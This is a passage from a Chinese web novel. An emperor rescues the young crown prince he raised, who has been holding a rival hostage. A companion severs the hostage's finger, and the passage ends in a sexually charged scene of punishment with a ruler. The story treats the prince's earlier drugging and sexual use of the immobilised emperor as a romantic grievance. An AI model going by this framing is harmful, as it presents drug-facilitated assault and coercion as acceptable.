虽然不知道这种僵持局面能持续多久,但,能拖延一天是一天吧。 “来者何人?” 城头上,守城士兵警惕地探出头来,喝问下方领军的将军。 将军瞥了晏祁一眼,见陛下沉着脸没有回答的意思,便主动驱马上前,举起手中的圣旨:“此乃圣旨!末将奉陛下密令,前来郑城!还不快快打开城门?” 那守城士兵却不答应,继续质问:“你说你奉陛下密令,那密令内容是什么?” 将军大怒:“既是密令,自然是军国大事,国之机要!你一介守城小卒,有何资格知晓?” “笑话!依我看,你分明就是个假冒皇命的土匪!” 他一面呵斥,一面朝边上人使眼色,示意他们赶紧去城中禀告郑大人。但还不等那通风报信之人转身,一支箭矢便破空而来,没入了那守城士兵的咽喉。 “杀。”晏祁只冷冷说了一个字。 将军立刻举起手中长刀,振臂长呼一声,数千精锐军士如狼似虎地扑向郑城的城墙,伴随着“投降不杀”的喊声,不过半个时辰的功夫,郑城的大门便缓缓向他们敞开。 “陛下,有些不对劲,”那将军见状,却神色凝重,抱拳对晏祁道,“虽然此战乃奇袭,但城中郑氏既有反心,定会严加戒备,控制城门,防守不应该如此松懈才对。” 他犹豫片刻,沉声道:“其中可能有诈,陛下,不若您先在此稍后片刻,容末将先进城打探一番,再来迎接。” 晏祁望着那大敞的城门,却露出了若有所思的神色。 “不必,朕随你一同入城,”他似是想到了什么,眉宇间闪过一丝焦急,“即刻命士兵在城内搜寻太子下落,要快!” 将军一愣,等反应过来的时候,晏祁已经驾马掠过了他,吓得他赶紧夹紧身下的马肚子:“驾!陛下,您等等末将啊!” 黄龙观内。 几日下来,郑徒早已看穿了地窖内这人佯装强势的把戏,也渐渐不再把明瑾的呼喝威胁当回事——他不相信,这人真的敢对太子动手! 太子纵然受伤,至少性命无忧,大不了等救出来再请最好的名医为其诊治,殿下定然不会怪他的。 他也在赌,赌这些歹人,不敢对身体虚弱的太子用刑,因为从昨日开始,发出惨叫的对象早就换了一人,变成了那姓魏的。 虽然只有两次,那歹人就看出了郑徒并不在意魏伯贤的死活,不再折磨对方,但后续也没有再动太子,估计是太子早就支撑不住,彻底昏死过去了吧。 郑徒的耐心在一次次的妥协中逐渐被消磨殆尽,他下令叫人再次进入黄龙观,拆掉了地窖外面的墙体,派了十来号人从上往下挖,势必要把这躲藏在地下的耗子抓出来公开处刑! 明瑾听着头顶上叮叮当当的镐锹动静,多日的地窖生活也叫他瘦了一大圈,脸色更是比起先前病中的太子有过之而无不及。 他和陈叔山对视一眼,摸了摸自己刻在墙上的“正”字,觉得,应该也差不多了。 他拖延时间的目的已经达到了。 接下来的任务,就该如何尽量保住自己和陈叔山的小命了。 明瑾望着头顶扑索索落下的土灰,无奈苦笑一声,心想这可不怎么容易啊。 “少爷,”陈叔山站起身,眼中闪过一道厉光,“事已至此,必须要让外面的人知道,咱们是说到做到的人,让属下来吧。” 明瑾轻轻点了点头。 他的体力远不如陈叔山,连着几日啃干粮喝冷水,中途还发了一次烧,现在就连话也不太想多说。 当下他唯一能做的努力,就是尽量保存身体的最后一点力气,至少,不能叫陈叔山独自一人清醒面对这等局面。 陈叔山走到角落的晏璋身边,蹲下身,举起手中的剔骨刀。 明瑾轻轻闭上了眼睛。 纵有不忍,但他很清楚,何为成王败寇。 或许再过不久,躺在地上惨叫的人就会变成他和陈叔山,但这个结局,他认了。 “啊——!!!” 一声非人的惨叫将地上的人全部震住,郑徒脸色大变,不知发生了何事,突然地窖里传来一道微弱而沙哑的声音:“我说过,你们敢进来,后果自负。” “大……大人!” 一人捧着一样血淋淋的东西,跌跌撞撞地跑到郑徒面前,郑徒只看了一眼,就几乎晕倒,周围人吓得连忙将其扶起来,但他的身体依旧软得站不住。 郑徒看着那根小拇指,捶胸顿足地大哭大骂起来,明瑾只装作没听见,几番折腾后,上面终于清净了。 “看来还能再撑几天。”他扯出一抹笑容,朝着同样脏兮兮的陈叔山说道。 陈叔山脸上却丝毫没有半点乐观,他狠狠瞪了一眼再度晕死过去的太子,甚至都不想帮对方包扎。 他沉重道:“少爷,您忘了,昨晚这混蛋偷偷弄来只死老鼠丢进咱们的水里,咱们今后几日,恐怕都没有干净水喝了。” 明瑾恍惚了一瞬,喃喃道:“啊,我想起来了。” “……抱歉,还是连累你了。” 陈叔山摇摇头,没有再说话,只是在他身边挑了个干净地方坐下。 许久之后,他抿着唇,想对明瑾说,等夜深时,他独自突围出去,或许少爷可以趁乱逃跑,但刚发出了一个音节,就听到身边人轻叹一声:“不要说了。” 于是他闭上了嘴巴,也学着明瑾的样子,靠在墙上闭目养神起来。 地窖里的气味很难闻,明瑾虽然这么多天下来早就习惯了,但缺水、缺氧和食物匮乏等种种负面影响的共同作用下,他仍是觉得头重脚轻,几乎要怀疑自己是不是在梦中,亦或是已经死了。 外面的天渐渐黑了,唯一的一线天光就此消隐无踪,陈叔山动了动,想要点燃蜡烛,却被明瑾拉住了。 “你听,是什么声音?” 陈叔山定了定神,侧耳听去,只听到了呼啸的风声。 “好像下雪了?” “不是。” 明瑾摇了摇头,他也在怀疑,是不是自己这么多天在地窖待出了幻听,不然的话,怎么会听到外面传来铁戈相交的厮杀声呢? 在这郑城之中,郑氏家族是毫无疑问的土霸王,谁敢公然与他们作对? 他屏住呼吸,还用力掐了一把自己的大腿,但那声音却越来越响、越来越近,伴随着一阵急促的脚步声,有人走到了地窖的大门前,陈叔山从地上跳起来,一把将明瑾拽到了身后,手中紧握道具,如临大敌地盯着门口。 但明瑾却按住了他的肩膀。 他听到那士兵在朝同伴喊:“是地窖!快叫陛下和将军过来,找到人了!” 陛下,哪个陛下? 明瑾一时分不清现实和梦境,他眼睁睁看着地窖的大门被拆下,如霜雪般皎洁的月光倾泻入室,一道他多日来魂牵梦绕的身影匆匆出现在了门前。 那双金眸死死地盯着自己,晏祁紧抿着唇,锐利的眉眼间闪动着担忧、后怕和愤怒等等情绪,真实得吓人。 原来不是梦啊。 明瑾扯了扯嘴角,想要出声,但骤然松懈下来的神经卷起了身体内部积蓄的全部疲惫,残存的力气,只够他勉强向前走了两步,然后便一头栽倒在了那人的怀里。 真是倒霉啊,他想。 怎么每次想给他留下一个好印象,最后都会变成这么狼狈的模样? “不许……嫌我臭。” 他最后低低说了一句。 在得到晏祁压抑的应声后,明瑾终于放松地长吁一口气,任由自己依靠在这个浸染着风雪气息的怀抱中,沉沉昏睡过去—— 作者有话说:总算见面啦![墨镜]小明同学的战绩+1,秋后算账再再再+1 第82章 “去城里,给朕找一把戒…… “人……审问……” “尽快处理……” 是谁在说话? 明瑾迷迷糊糊地睁开双眼, 呆呆地盯着头顶陌生的天花板,片刻后,突然猛地坐起身, 后知后觉地反应过来—— 不对, 自己之前不是还在地窖里吗? 听到动静, 外面的人停止了讲话,推门进来。 “醒了?” 明瑾僵硬转头, 看到晏祁的那一刻, 他的大脑瞬间陷入空白。 先先先生怎么会在这里!? 但他的身体却很诚实,嗖地一下缩回了被窝,还用厚厚的被子包裹着脑袋,反复念叨着:“看不见我看不见我……” 这小混蛋! 晏祁被他这副掩耳盗铃的架势气笑了,和下面的人吩咐了一声, 将人打发走后, 关上房门, 也不叫明瑾出来, 就这么搬了把椅子坐在床边,径直拿起一本书, 不紧不慢地翻看起来。 哦,他还不动声色地把屋内的火盆挪近了些。 明瑾很快就被热出了一脑门的汗,他躲在被子里,呼吸困难, 可外面翻书的声音更加可怕,听起来, 简直像是阎王爷在翻生死帖。 他战战兢兢地回忆了一下自己这段时间犯过的错,然后发现,应该是能被阎王爷直接打入十八层地狱、还要亲自操刀切片的程度。 阿弥陀佛, 罪过罪过! 伸头也是一刀,缩头也是一刀,经过并不那么缜密的思考,勇敢小明决定赌一把,不再当缩头乌龟。 他大胆地一掀被子,先是贪婪地呼吸了两口新鲜空气,接着顶着某人似笑非笑的目光,非常从心地跪坐在床铺上,老实低头认错。 “我错了。” 晏祁啪地合上书册。 声音其实不大,却吓得明瑾身体微微一颤。 因为时刻关注着这边,晏祁自然注意到了这孩子的反应,以及他悄悄抬眼观察自己的小动作。 像是只雪地里钻出来的受惊兔子,他想。 说实话,刚见到明瑾时,他真的很生气。 少年倒在他怀中的那一瞬间,晏祁被他吓得半死,连心跳都险些停止了,随之而来的,是几乎令他五内俱焚的怒意。 短短半年时间不见,这孩子竟把自己折腾成了这副模样! 不仅清减了许多,身上的骨头抱起来都硌人,原本还算丰腴的脸蛋,现在更是瘦得只剩下了一个尖尖的下巴。 晏祁抱着他离开道观时,少年依靠在他怀里,两条眉毛一直紧蹙着,纤瘦的脖颈无力地弯折出一道弧度,呼吸声微不可察,像是下一秒就要随风而去。 晏祁气明瑾不把自己的安危当回事,更气外面那些叫自家孩子吃了大苦头的混账。 但他也气自己来晚了,让这孩子受了不少罪。 他甚至不敢想,若是自己再晚来片刻,明瑾会落入怎样的一个境地。 区区一个前太子,哪里比得上他半分重要? 不过这些话,都不适合现在讲。 明瑾足足睡了两日,中途晏祁还喂了他两碗米汤,只是那时他还昏沉着,基本没有太多意识。 现在人终于醒了,知道自己要被秋后算账了,倒是给他表现出这么一副乖巧听话的模样来,难不成,以为这次还能蒙混过关吗? 面对主动认错的明瑾,晏祁丝毫不为之所动。 他淡淡道:“睡了这么久,先吃饭,吃完饭我们再来谈别的。” 别啊! 明瑾在内心呐喊,这跟断头饭有什么两样?吃饱了才好上路吗? 可当晏祁叫人送来热腾腾的饭食,闻着那扑鼻的香气,明瑾还是没忍住,肚子咕噜叫了两下,试探着拿起筷子。 “那,我吃了?” “吃吧。” 明瑾立刻端起碗狼吞虎咽起来,晏祁见他这副饿死鬼投胎的模样,皱了下眉,给他盛了碗汤。 “谢谢先生!”明瑾受宠若惊,立马放下筷子双手接了过来,喝了一口,十分做作地大声夸赞,“好喝!” 晏祁轻哼一声:“这时候不叫父皇了?” 明瑾讪笑起来。 果然还记得这一出呢。 啧,小心眼儿的老男人,就是记仇。 “对了,”他忽然想起来一件事,赶忙问道,“叔山他人呢?可还有事?” 叔山?倒是叫得亲密。 晏祁面不改色,语气冷淡道:“他好得很,不需要你操心。吃你的饭。” “那太子……” “吃饭。” 明瑾乖乖低头扒饭,时不时偷偷瞟他两眼,像是在判断晏祁是不是在生气,吃饭的速度也逐渐放缓,从一开始的风卷残云,到后面数着饭粒子一颗颗细嚼慢咽。 晏祁也不催他,就这么默默地陪在边上,静静地看他吃。 到最后,反而是明瑾先受不了了。 “我吃饱了。”他小声说。 晏祁叫人把碗筷都收走,又叫人进来送了趟热水,让明瑾好好洗个澡。 虽然他这两天已经帮明瑾擦了身子,但因为这孩子的身体太虚弱,怕他染上风寒,后来就没有再动手。 明瑾方才出了一身汗,又热乎乎吃了顿饭,现在浑身有了力气,确实觉得自己该洗把澡了。只是吧…… “你,你怎么不出去?” “朕为什么要出去?”晏祁八风不动地坐在座位上,挑眉反问,“这里是朕的房间。” “呃,那我出去洗?” “你哪儿朕没看过?回来,水都给你准备好了。” 明瑾僵着身体,虽然理是这么个理,但是他总感觉哪里不对劲,而且先生这态度,是不是太坦然了点儿? 以前他不都是会主动回避的吗! 没办法,这时候再申辩,未免有些显得自己太在意了。明瑾竭力装作放松的模样,背对着晏祁开始脱衣。 他身上只穿了一件白色的亵衣,所以就脱了上身,正准备慢吞吞地跨进木桶,就听身后又传来一道轻飘飘的声音:“又不是泡温泉,为何不脱裤子?” 还不是因为你! 明瑾回头,恨恨地瞪了某人一眼,换来男人一个好整以暇的眼神,终于明白自己今天大约是躲不过这番折腾了。 他在心里把这恶趣味又小心眼的老男人来回骂了八百遍,表面上,则咬着牙,用平生最快的速度脱干净跳进了热水里。 “唔……好舒服……” 一进热水,明瑾就像是融化的年糕一般沉进了水底。 酸痛的肌肉得到了缓解,他舒适地眯起双眼,脑袋放松地靠在水桶边上,神智逐渐昏沉。 要不是房间里还杵着个人,明瑾估计自己都能在水里睡着。 昏昏欲睡之际,忽然一道阴影投来,他眼皮轻跳,下意识睁开双眼,被上方低垂着双眸、紧盯自己的晏祁吓了一大跳。 “你!你干什么?” 明瑾这才发现,晏祁的双手撑在自己的身体两侧,不知不觉,竟形成了一个类似拥抱、又形同禁锢的姿态。 晏祁不答,只是居高临下地凝视着他,修长指尖轻点桶壁,发出规律的“叩叩”声响,手背上的伤疤在氤氲的雾气中若隐若现。 那双犹如幽谷般深邃暗沉的金眸一眨不眨地看着明瑾,像是掠食者牢牢锁定了猎物,把下方的少年看得头皮发麻、口舌干燥。 似有若无的草药芳香被热气熏蒸,钻入鼻尖,明瑾深吸一口气,默默地把自己往水里沉得更深了些。 脑海中不自觉地闪过半年前那道屏风后发生的种种,明瑾像条红锦鲤似的,在水里红着脸吐出一串泡泡。 干什么,他不都道歉了吗。 而且,真要论起来,吃亏的明明是他好吗! 这老男人,怎么一副老实的良家妇男被夺了身子,找上门来要公子哥儿负责的样子? 明瑾脸颊通红地想,要是他开口的话,其实……也不是不行。 “你脸很红。” 晏祁陈述道。 “你脸才红呢!” 明瑾下意识反驳,却被热水呛了一口,连连咳嗽起来。 晏祁看着他这副狼狈模样,视线在明瑾被热水浸泡出薄粉色的薄肩上逡巡片刻,很短暂地勾了一下唇。 他直起身子,将汗巾扔给少年:“泡得差不多了就出来吧,你现在身体还虚着,不宜泡太久。” 明瑾手忙脚乱地接住汗巾,见晏祁一副打算离开的样子,心底飞快地闪过一丝失落。 他还以为……啧。 但很快他又给自己的这个想法找到了借口,明瑾理直气壮地想,自己当初给先生下药,不就是为了狠狠刺激一下这老男人吗?要是晏祁没被刺激到,那他这药岂不是白下了! “你要去哪儿?” “还有一些事要去处理,很快。”晏祁抬起手,在明瑾怔然的神情中,温和地摸了摸他的湿发,“这两天你安生待在这里,有事就跟外面人讲,等处理好了,我会回来找你的。” 明瑾急切道:“那先生,有什么我可以帮你的?” “好好吃饭,把身体养好。”晏祁不容置疑道。 望着他离去的背影,明瑾尚有些不可置信:先生最近脾气这么好的吗?他都那么过分了,居然就只是口头上吓唬他两句,甚至连吓唬都算不上,就这样轻飘飘地揭过了? 他呆愣了许久,终于确定自己的屁股应该是保住了。 兴许是因为,自己这次也算是立下了大功,所以先生觉得功过相抵,就不罚他了吧。 明瑾又激动又庆幸地握紧汗巾,心里的小人高兴地转起了圈圈,却不知道在晏祁离开房间后不久,便唤来了一名内宦。 他语气平静地吩咐道:“这两天,记得每日请御医来为太子诊脉,盯着他把药膳都吃完,好好修养,等朕回来。” 内宦恭敬应是。 “还有,”晏祁顿了顿,想到方才那小混蛋自以为逃过一劫的窃喜神情,脸上渐渐浮现出一丝意味不明的笑意。 “去城里,给朕找一把戒尺来。”—— 作者有话说:经过多年磨合,忍人终于成功探索出了一套和比格小明【和谐】共处的生存之道,进化成功,偶尔还能处于上风。 总之先给小明同学尝一点甜头,明天争取多更[墨镜] 第83章 【二合一】 这才是听话的乖孩子…… 在一天三顿的药膳滋补下, 明瑾的身体恢复得很快。 再加上晏祁一来,他立马就不用再操心那些有的没的,没了心理负担, 每天吃好睡好, 以致于当他再次喝完一碗人参鸡汤时, 只觉得鼻头一热,下意识抹了一把, 发现自己竟然流鼻血了! “不喝了, 真不能再喝了,”他用帕子捂着鼻子,闷声道,“再喝就补过头了。今天午膳能不能吃清淡点?” 内宦有些为难:“殿下,这些药膳食材, 都是陛下临走前亲自吩咐的, 正好今日他老人家就回来了, 要不, 您亲自去跟他说说?” 明瑾听他口口声声“他老人家”,不禁有些想笑。 先生明明还年轻着呢。 但他转念一想, 虽说自己认为晏祁身体健康,定能长命百岁,人生的黄金时间才刚刚开始,但实际上, 大雍百姓的普遍寿命也才四五十。 晏祁当初拒绝他时,一直说自己已经“人生过半”, 这内宦出于敬畏和奉承心理,称呼一句“他老人家”,倒也不算说错。 但明瑾还是心里不得劲。 “下次别这么说了, ”他叮嘱内宦,故意说得夸张了些,“陛下年富力强,最不喜欢听人说他老,上次我不小心说了一句相关的,都被他折腾可惨呢!更何况是你们这些伺候他的人?” 明瑾含糊略过了自己那时候根本就是老虎头上拔毛,不仅干的是混账事,还一边干一边骂晏祁老东西,是个人都要跟他急眼。 内宦被他吓唬得连连点头告罪,明瑾这才心满意足地放过了他,抬头看了眼天色,心想今日难得出了太阳,不如出去转转吧。 他已经有两天没见到陈叔山和谢婉南了。 虽然晏祁说过他们都没事,但明瑾还是有点儿担心,找了位士卒打听一番,在他的引领下,来到了陈叔山被安顿的居所——还好,就在他住的地方不远。 “少爷!” 陈叔山原本百无聊赖地待在院子里编竹篓,见到来人,立马快步迎上来,抓着他的肩膀上下打量,激动道:“您没事吧?我听陛下说,您似乎昏睡了许久,就一直没敢过去打扰您……” “好得很,都补出鼻血来了。”明瑾笑着按下他的手,“这次你可是立了大功,有什么想要的?等先生回来,我一定帮你跟他讨赏。” 陈叔山摇了摇头:“属下没什么想要的,只要看到少爷平安就好。不过,谢姑娘那边,倒是出了些事。” “怎么回事?”明瑾瞬间紧张起来,“她现在在哪儿?不会受伤了吧?” “那倒没有。” 陈叔山犹豫片刻,瞟了一眼护送明瑾来的士卒,把他拉到了屋里。 谨慎关上房门后,他方才在明瑾的一头雾水中压低声音道:“少爷,您可知道陛下这几日去干什么了?属下并没有想要窥探圣上行踪的意图,只是事关谢姑娘,故而有此一问。” 明瑾眨巴了一下眼睛:“应该是去太宁仓那边巡视了,顺便招安收编郑城周边的匪寨,我跟他讲了明光寨的事情,这次咱们能顺利进城还有打探郑氏的消息,都少不了他们帮忙。” 既然是昭明军旧部,晏祁少不了要亲自去一趟。 明瑾知道的,先生一直想重建昭明军。 只可惜,这些年来在晏珀的密切监视下,他就算有心想帮,也没有太多渠道接触到这些曾为大雍出生入死的昭明老兵。 直到现在。 听到这个答案,陈叔山似乎松了口气。 他提醒道:“少爷,当初您真不该把那块平安锁交给谢姑娘的,您是不知道,当时谢姑娘拿出那块锁时,陛下脸上的表情有多难看。” 明瑾调笑道:“怎么,难不成你觉得他还会吃醋吗?” “…………” “不是,你该不会真的这么想吧?”明瑾的笑容渐渐消失,他连连摇头,“不可能的,他怎么会在意这个?他甚至巴不得——”他顿了顿,偏过头,声音忽然就矮了下去,“巴不得我找个姑娘,赶紧成婚生子呢。” “少爷……” 陈叔山望着他脸上故作洒脱的笑容,沉默了一会儿,笃定道:“虽然属下不清楚您和陛下之间的具体矛盾,但我能看出来,陛下对您有情。” 当局者迷,就像陈叔山经常能从明瑾身上看到晏祁的影子一样,尽管他与晏祁接触不多,但少有的几次他在场时,都能感觉到晏祁对明瑾全心全意的关注。 他看着明瑾的眼神,就像是创造者在注视着自己在这世上最满意的一件作品。 欣赏有之,骄傲有之,同时,也含着溢于言表的喜爱。 但陈叔山把自己的感受告诉明瑾时,只换来了明瑾一个“你怕不是眼瞎”的诡异眼神。 “那家伙死倔死倔的,还喜爱?我承认我在他心目中肯定是很重要的啦,但那也只是因为我的身份,还有我爹娘当初对他的恩情,”明瑾叹着气,一屁股坐在屋里的藤椅上,顺手捏了一粒瓜子丢进嘴里开嗑,“折腾了这么多年,我也差不多死心了。” 他喃喃自语道:“我对他干了这么过分的事,就连着他都能忍,大老远从京城跑过来,看我保住了自己的小命,转头就跟个没事人一样干别的事去了,你说,我还能拿他怎么办呢?” 这两天他不止在休息,还在思考晏祁这副平静到诡异的态度对自己来说,究竟意味着什么。 明瑾甚至自暴自弃地想过,是不是就算他干出再叛逆再出格的事,都不会叫晏祁有半点动容? 左思右想想不明白,也只能对自己说,算了吧。 他是真没招了。 眼见着明瑾神色灰暗下来,陈叔山突然觉得这屋内的气氛太过压抑了,努力想要转移话题:“对了少爷,谢姑娘已经被陛下派人送回京城了,临走前她托属下给您带句话。” 明瑾动了动:“什么?” “她说,谢谢你这一路上对她的包容,等她回去后,一定会在她的游记扉页上专门写一段致谢的。” 明瑾笑了一下:“她一个姑娘家能有这样的勇气,我也很佩服。指不定等再过几百年,她的书流芳百世,我还要沾沾她的名气呢。” “少爷莫要自谦了,”陈叔山笑道,“您可是太子啊,大雍未来的君主,注定会青史留名的。” “太子啊。”明瑾感叹了一声。 出来这半年,他也算见过了不少世面,《秦妇吟》中所写的乱世景象,虽还未到“天街踏尽公卿骨”的程度,却处处都能见到“家财既尽骨肉离”的悲剧。 多年前丁先生捏着他改写的“情诗”,眼中迸射.出的愤怒,和脸上那恨铁不成钢的痛惜神情,他现在也终于明白了来由。 为何连年丰收,百姓却食不果腹?又为何曾经沙场拼死的士卒,会沦为人人喊打的匪徒? 若是长此以往下去,无须胡人南下,这个王朝迟早也会被那些活不下去的百姓掀翻。 昭,日明也。 昭明昭明,同样也是大雍数万万百姓的心声: 他们生存的这片土地,究竟何时才能云开雾散,拨云见日? 或许这些在先生眼中,才是值得重视的事情。 那点儿小情小爱,统统不过是少年人还不懂事时,故作深情的自我纠葛罢了。 比起这些关乎家国天下、黎民生计的重要议题来说,不值一提。 他曾任性地说不想当太子,只想做皇后,先生那晚勃然变色,厉声斥责他,他还觉得委屈;如今想来,先生是想告诉他,身处其位,一举一动都不能随着自己的喜好,更牵动着朝堂乃至整个国家的稳定吧。 只是自己那时拒绝听这些大道理,一心沉浸在自我的世界里,想法不但天真可笑,还平白给先生添了许多麻烦。 所以,根本不是他想不想做太子的问题了。 他其实根本就不够格。 明瑾想明白了这些,也理解了晏祁的立场,觉得先生所做的选择并没有错。 可是,他还是有一点伤心。 或许不止一点。 “殿下,陛下请您回去共用午膳。” 外面传来通报声,明瑾一愣,这才发现不知不觉已经在陈叔山这儿待了一上午。 外面又飘起了大雪,他拍拍身上的瓜子壳儿,对陈叔山道:“等下我去帮你讨赏,别先想着拒绝,你这个当哥的,总得考虑到将来妹妹出嫁的事吧?收着,好好给她攒笔嫁妆。” 见陈叔山张了张嘴,明瑾丢给他一个“你自己考虑”的眼神,收回手,踏出了房门。 回到住处,他心情平和地跟晏祁打了声招呼,不等对方开口,就一屁股坐在了座位上。 晏祁见他好歹没迫不及待地直接动筷,也就没有过分挑剔这孩子的礼数问题,只是打量了他一眼,眸中闪过一丝满意。 “补回来了不少,”他说,“看来休养得不错。” “何止是不错!” 明瑾又跟他絮絮叨叨地讲了一遍自己早上补出鼻血的事,晏祁哦了一声,淡淡道:“怪不得没一坐下就动筷子,原来是吃饱了,还以为你终于懂事了,知道吃饭前要等人。” “算了吧,就是在等您好吗?” 明瑾阴阳怪气地哼了一声,又假惺惺地双手捧上一双筷子,装模作样道:“父皇不动筷,儿臣怎么敢轻易动弹呢?” 看你动弹得也不少,晏祁暗道。 他接过筷子,捏着筷子尖,顺手就在这小混蛋的脑袋上敲了一记,听着他捂着通红的脑门吱儿哇乱叫起来,唇边勾起一道弧度,和明光寨众人交谈完后的沉重心情也骤然放松了许多。 “吃吧。”他给明瑾夹了一根清炒竹笋。 这顿是该吃清淡点儿。 明瑾放下手,恨恨地把竹笋夹进嘴里,磨牙似的一点点啃起来。 晏祁装作没看见,径自吃自己的,过了片刻,听到这孩子磨磨蹭蹭地问道:“后面,先生还有什么打算吗?” “若是明日雪停,就启程回京。” “那要是不停呢?” “自然是继续待在郑城。” 明瑾低头,闷闷地应了一声。 “怎么,不乐意?” “也不是,郑城肯定没有江南热闹,又是这大雪天的,街上都没几个人,”明瑾嘟囔道,“我是想问你的打算,难得出宫一趟,除了收拾太子和郑氏那帮人,就没其他什么想干的事吗。” “朕和晏珀不同,一向不贪图享乐,”晏祁细嚼慢咽,“但你要是这么问,倒也的确有件事想做。”、 “什么?” “先吃饭。” 又来! 明瑾暗暗磨牙,可又拿晏祁没办法,只好胡乱叨了几口菜,便把碗一推:“我吃饱了。” 晏祁闻言,也放下筷子,拿帕子擦干净嘴角,起身道:“跟朕过来。” 明瑾不明所以,一路跟他回到了卧房,就是他两天前醒来的地方,见晏祁关上房门,走到桌边,拿起了一件物什——他定睛一看,霎时出了一身白毛汗。 这这这不是戒尺吗!? 大事不妙,大大的不妙,他转身就想跑,结果却发现这门栓上不知何时竟多出了一把大铜锁,将房门锁得死死的。 明瑾僵着身子慢慢回头,看到晏祁捏着一枚钥匙,饶有兴致地问他:“你在找这个?” 他讪笑起来。 “那个,先生啊,您坐,您坐,”他殷勤地搬来椅子,又把晏祁按到座位上,十分狗腿地给他捶腿捏肩,“看这事儿闹的,我还以为都过去了呢。” 晏祁由着这孩子即兴发挥。 反正今日这顿,他肯定是跑不掉的。 男人轻笑一声,把钥匙随手放在桌上,但那把戒尺仍捏在手里,不紧不慢地敲着掌心。 明瑾被他敲得头皮都发麻,赶忙一脸沉痛道:“其实这么多天在外面,我也想通了,这件事是我做的不对,在外千日难,方知在家好,先生待我,更是好中好。” “要不,您就大人有大量,别跟我计较了呗?” 晏祁把翘着的二郎腿放下,转身看了看他。 明瑾朝他扯出一抹“我很乖”的表情,还可怜兮兮地眨了眨眼睛,但他的唇却暴露了自己的内心,颇为紧张地抿着,在脸颊上挤出一点药膳养出来的圆润弧度。 晏祁转了回去。 脚尖点了点地面。 明瑾攥紧了拳头,犹豫半天,还是不情不愿地走过去,老实跪下了。 晏祁弯下身子瞧着他,手里还握着那把尺子。 明瑾心里憋屈,不想抬头看他,但被尺子挑起了下巴,只得恨恨瞪了晏祁一眼,触及到那似笑非笑的眼神,又惊觉自己好像一不小心露馅了,赶紧调整好表情,僵硬地讨好一笑。 “先生,”他膝行几步,谄媚道,“一路上骑马辛苦了,要不,我帮你捏捏腿?” 说着就要上手去捏晏祁的小腿,但被男人一把抓住了手腕。 之前怎么没发现,晏祁默然心想。 这孩子,不仅欠揍,还欠艹呢? “谁教你的?”他从牙缝里挤出一声询问。 “啊?” 明瑾被他问的有些懵,晏祁深吸一口气:“我只是叫你罚跪,谁让你乱动的?” 他的大手捏得明瑾手骨都在痛,少年皱了皱眉头,小声抱怨道:“这不是怕你生气嘛。” 明瑾并不觉得自己这个动作有什么不妥,他面对外人可不会这样,但是先生不一样——从小他在先生脚边耍赖打滚抱大腿都不知道有多少次了,尊严?这玩意儿早就被他团吧团吧自己吞掉了。 但晏祁可不这么想。 耍赖打滚是一回事,跪在脚边搞小动作,那又是一回事。 晏祁捏着戒尺的手紧了紧,忽然朝明瑾露出了一抹叫他毛骨悚然的淡淡笑容来。 看来,这小混蛋是真的怕这个。 那就太好了。 “现在,天色还早,”晏祁的声音在此时明瑾听来,宛如午夜时分的厉鬼低语,“正好适合咱们来共同回忆一下,那天晚上,你究竟都犯了哪些错。” 屋内一阵兵荒马乱。 叮呤咣啷的动静过后,是一声声闷哼,伴随着尺子清脆的击打,和晏祁的冷言冷语:“尊师重道都学到狗肚子里去了!说,那药是哪儿来的?” 明瑾咬着下唇,眼尾通红,眸中带泪,但就是倔强地不回答。 晏祁冷笑:“你就算不说,朕也知道,无非就是你身边那几个狐朋狗友给你的,无妨,等朕回京之后定会叫人彻查,再给他们安个谋逆行刺的罪名……” “这事儿跟他们没关系!” 明瑾攥紧身下的被子,委屈得上气不接下气,修长纤薄的脊背细细战栗着,随着晏祁毫不留情的动作无力地塌下去一道弧度,片刻后,又艰难地撑起来一点。 他哽咽道:“点子是我想的,做也是我自己一个人做的!我一人做事一人当,你少用他们威胁我!” “威胁?朕要是威胁你,早该在你离京的那一天就统统把他们打入大牢审问了!” 晏祁把沾染了水光的缅铃丢到一边,这东西受温度控制,即使脱离了人体,依然在角落里淫泆地嗡嗡作响,不一会儿,就不知道滚到哪里去了。 明瑾的余光瞥见了这一幕,抽泣声都不由得断了片刻。 他觉得晏祁老变.态了。 变.态的点不仅在于这老男人玩的花,还在于晏祁明明三番五次地拒绝自己,却还非要勾.引他,等他犯了错,再用这种作践人的方式来惩罚。 这混蛋把自己的脑袋和身体都搞成了一滩浑浑噩噩的浆糊,扭头一看,他却还是那个高高在上一尘不染的君父。 徒留自己一人,留在泥淖里被淤泥慢慢淹没,连求救的声音都发不出来。 感觉到膝上少年的身躯变得格外僵硬,晏祁的动作一顿,放下戒尺,强硬地把人的脸扳了过来。 “你哭什么?”他苦恼道。 “我不能哭吗?”明瑾恨不得一口咬掉他一块肉,一双浸着泪光的眸子亮得惊人,“上次也是,总是这样!你总是这样!既然不想跟我有这样不清不白的关系,那你究竟为什么要做出这些事?” “是你先越线的,”晏祁沉声指出,回忆起那天的往事,声音中也不免染上了几分火气,甚至连自称都忘了,“那天我动弹不得,只能看着你这小王八蛋骑到我身上——你知道那天我有多窝火憋气吗!?” 明瑾的理直气壮被精准打击,气焰也稍稍回缩了几分。 晏祁见状,故意冷下脸来,继续质问道:“还有你走后,居然连件衣服也不给我披,就没想过万一有人进来,看到我那副模样躺在那儿,朕的老脸还要不要了?” 明瑾想到那幅画面,没忍住,当场破涕为笑。 “活该!”他啐道。 “没良心的小王八蛋,光顾着自己爽了。”晏祁捏住他的下巴,想把人抱着坐在自己怀里,奈何明瑾捂着伤痕累累的臀痛呼一声,他顿了顿,换了个姿势,岔开双腿,叫明瑾的腿分开环着自己的腰坐。 明瑾趁机一脚丫把那万恶的戒尺蹬远了些。 晏祁当然注意到了他的小动作,但只当没看见,他的指尖顺着少年光滑的脊背,自下而上地摩挲着,皮革的触感叫明瑾下意识战栗起来,呼吸也急促了几分。 “虽然你是大错特错,但朕这半年来,也思考反省了一些事情,”晏祁叹息道,“朕也有错。” 他在怒极之下甚至都自暴自弃地想过,要不干脆就满足这孩子的愿望好了,把明瑾变成自己的禁.脔,皇后也罢,男宠也好,不过都只是一个头衔罢了,他想要,给他便是。 可终究还是不忍心。 “你是我亲手教出来的,凭借你的才华和能力,不能局限于后宫的方寸之中,”晏祁细细抚摸着这孩子的眉眼,耐下性子劝诫道,“如今我们各自分别半年,也都冷静了不少,告诉我,你的想法还是和从前一样吗?” 明瑾摇了摇头。 但他嘟囔道:“我可没看你刚才抽我的时候有多冷静。” 他的屁.股明天肯定会肿的! “这是你活该。”晏祁原话奉还,见明瑾嘴撅得老高,都快能挂油瓶了,他忽然轻笑一声,把戴着皮革手套的右手凑到明瑾唇边。 